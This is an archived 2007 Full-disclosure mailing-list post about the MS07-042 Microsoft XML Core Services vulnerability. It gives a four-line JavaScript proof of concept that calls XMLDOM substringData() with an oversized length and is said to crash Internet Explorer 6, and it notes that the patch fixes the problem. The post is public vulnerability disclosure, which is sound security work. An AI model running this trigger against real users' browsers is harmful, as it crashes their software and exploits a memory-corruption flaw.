Related information

Microsoft Windows XML core services memory corruption

[Full-disclosure] iDefense Security Advisory 08.14.07: Microsoft XML Core Services XMLDOM Memory Corruption Vulnerability

[Full-disclosure] ZDI-07-048: Microsoft Internet Explorer substringData() Heap Overflow Vulnerability

Microsoft Security Bulletin MS07-042 - Critical Vulnerability in Microsoft XML Core Services Could Allow Remote Code Execution (936227)

From:	Alla Bezroutchko <alla_(at)_SCANIT.BE>
Date:	17.08.2007
Subject:	[Full-disclosure] MS07-042 XMLDOM substringData() PoC

This bit of JavaScript kills IE 6 on Windows 2000 and Windows XP SP2

   var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
   xmlDoc.loadXML("<dummy></dummy>");
   var txt = xmlDoc.createTextNode("huh");
   var out = txt.substringData(1,0x7fffffff);

Installing the patch from MS07-042 fixes it.

Cheers,
Alla Bezroutchko
Scanit - http://www.scanit.be/


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/